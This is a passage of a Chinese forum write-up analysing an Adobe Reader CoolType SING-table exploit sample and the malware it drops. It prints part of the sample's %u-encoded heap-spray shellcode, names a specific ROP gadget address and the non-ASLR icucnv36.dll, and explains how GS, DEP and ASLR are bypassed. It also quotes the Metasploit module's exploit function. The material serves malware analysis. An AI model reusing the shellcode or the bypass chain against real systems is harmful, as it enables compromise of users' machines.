  40. "%u81de%u1cc6%u0012%u8b00%ue44d%ua4f3%u7d8b%u6afc" +
  41. "%uff00%uc075%u57ff%u8918%uc445%uff3d%uffff%u74ff" +
  42. "%u576a%uc389%u75ff%ufff0%ud475%uff50%u1c57%uff53" +
  43. "%u1057%u7d8b%u81c0%uffc9%uffff%u31ff%uf2c0%uf7ae" +
  44. "%u29d1%u89cf%u8dfe%ub8bd%ufffd%uc7ff%u6307%u646d" +
  45. "%uc72e%u0447%u7865%u2065%u47c7%u2f08%u2063%u8122" +
  46. "%u0cc7%u0000%uf300%u4fa4%u07c6%u4722%u07c6%u5f00" +
  47. "\x25\x75858d\x25\x75fdb8\x25\x75ffff\x25\x7500e8\x25\x750000\x25\x758100\x25\x752404\x25\x750010" +
  48. "%u0000%u006a%uff50%u2477%u67ff%u6a20%uff00%u2c57" +
  49. "%u5553%u5756%u6c8b%u1824%u458b%u8b3c%u0554%u0178" +
  50. "%u8bea%u184a%u5a8b%u0120%ue3eb%u4932%u348b%u018b" +
  51. "%u31ee%ufcff%uc031%u38ac%u74e0%uc107%u0dcf%uc701" +
  52. "%uf2eb%u7c3b%u1424%ue175%u5a8b%u0124%u66eb%u0c8b" +
  53. "%u8b4b%u1c5a%ueb01%u048b%u018b%uebe8%u3102%u89c0" +
  54. "%u5fea%u5d5e%uc25b%u0008"
  55. );
复制代码
2. 恶意代码行为调试

3. svrhost.exe行为分析

​        把 svrhost.exe 复制出来,用 ida 打开使用 F5 反编译进行分析,同时使用 ollydbg 加载运行 svrhost.exe 和 ida 结合分析
4. msxml0r.dll 分析

分析过程
恶意 Dll 总结
​        下载或更新后门程序到计划任务中,然后定时执行
6.3 ROP 链的流程总结

6.4 样本对于GS、DEP 、ROP 和 ASLR的处理

6.4.1 GS 保护

​        在编译时可以选择是否开启GS安全编译选项。这个操作会给每个函数增加一些额外的数据和操作,用于检测栈溢出。在函数开始时,会在返回地址和EBP之前压入一个额外的Security Cookie。在函数返回时,系统会比较栈中的这个值和原先存放在.data中的值做一个比较。如果两者不相等,则说明栈中发生了溢出。因为溢出时会覆盖返回地址,而 security cookie 位于返回地址前,所以覆盖返回地址的方法不可行了。
处理:该漏洞利用时,会选择覆盖栈上的一个函数指针,然后在调用该函数时跳转到 shellcode 执行
6.4.2 DEP(Data Execution Prevention)

​        数据执行保护,是 windows 防止溢出利用的系统保护机制,系统会标记哪些内存地址可以执行代码,在开启 DEP 后,栈处的内存会被标记为不可执行,因此,除非有办法修改内存的属性,否则不可以在溢出时把 shellcode 布置在栈来运行。支持 DEP 的程序,会把 IMAGE_DLLCHARACTERISTICS_NX_COMPAT 标志设为 1
处理:DEP 通过 ROP 来绕过
6.4.3 ROP(Return Oriented Programming)

​        用来绕过 DEP 保护的技术,既然栈上的内存不可执行,那么可以通过执行程序自身的代码来达到目的,把一连串的代码片段组合起来,执行一个片段返回,再执行另一个片段,从而实现某种功能。
​        0x4A80CB38 处的代码的功能就是调整栈顶,先添加 ebp 的值,然后把 ebp 的值赋值给 esp ,从而实现把栈地址往高地址调整的目的,然后通过 return 重新获取控制权。要实现这个功能的时候,都可以跳转到这里执行,然后返回
6.4.4 ASLR(Address Space Layout Randomization)

​        地址空间随机化,在加载程序的时候不再使用固定的基址加载,支持ASLR的程序在其PE头中会设置
IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE 标识来说明其支持 ASLR
​        溢出时,为什么选择 icucnv36.dll 的内存地址呢?是因为 Adobe Reader 大部分库都开启了 ASLR,包括 CoolType.dll ,而 icucnv36.dll 没有开启
​        例如,如果 icucnv36.dll 开启了 ASLR,那么同一个代码的地址,可能是 0x4A80CB38,也可能是 0x5A80CB38。由于无法知道准确的地址,所以也就无法跳转到想要执行的代码
处理:ASLR 通过堆喷和未启用 ASLR 的模块来绕过
6.4.5 查找 Adobe Reader 中所有没开启 ASLR 或 DEP 的库

使用 pefinder 查找 Adobe Reader 中所有没开启 ASLR 或 DEP 的库
pefinder 下载链接:http://www.scriptjunkie.us/files/pefinder.zip
输入命令:
  1. dir /b /w /s "C:\Program Files\Adobe\*.dll" | pefinder.exe -
复制代码

6.5 漏洞利用样本流程总结

以下为执行 shellcode 的部分
7.Exploit 脚本分析

7.1 exploit()

​        Exploit脚本位置在 D:\metasploit-framework\embedded\framework\modules\exploits\windows\fileformat\adobe_cooltype_sing.rb,其主函数为exploit,内容如下:
  1. def exploit
  2.     ttf_data = make_ttf() # 构造ttf字体数据,SING表内容就在其中
  3.     js_data = make_js(payload.encoded) # 构建Heap Spary js代码,ROP Chain及Payload就包含在里面
  4.     # Create the pdf
  5.     pdf = make_pdf(ttf_data, js_data) # 构造pdf文件数据,将前面构造好的ttf字体数据和js代码放入其中
  6.     print_status("Creating '#{datastore['FILENAME']}' file...")
  7.     file_create(pdf) # 创建pdf文件
  8. end
复制代码
7.2 make_ttf()

<ol>此函数首先打开了一个正常的 ttf 模板文件,然后构造了 SING 表数据,可见 tableVersionMajor 被设为了0

uniqueName字段先是被初始化成了随机字符sing




欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/) Powered by Discuz! X3.4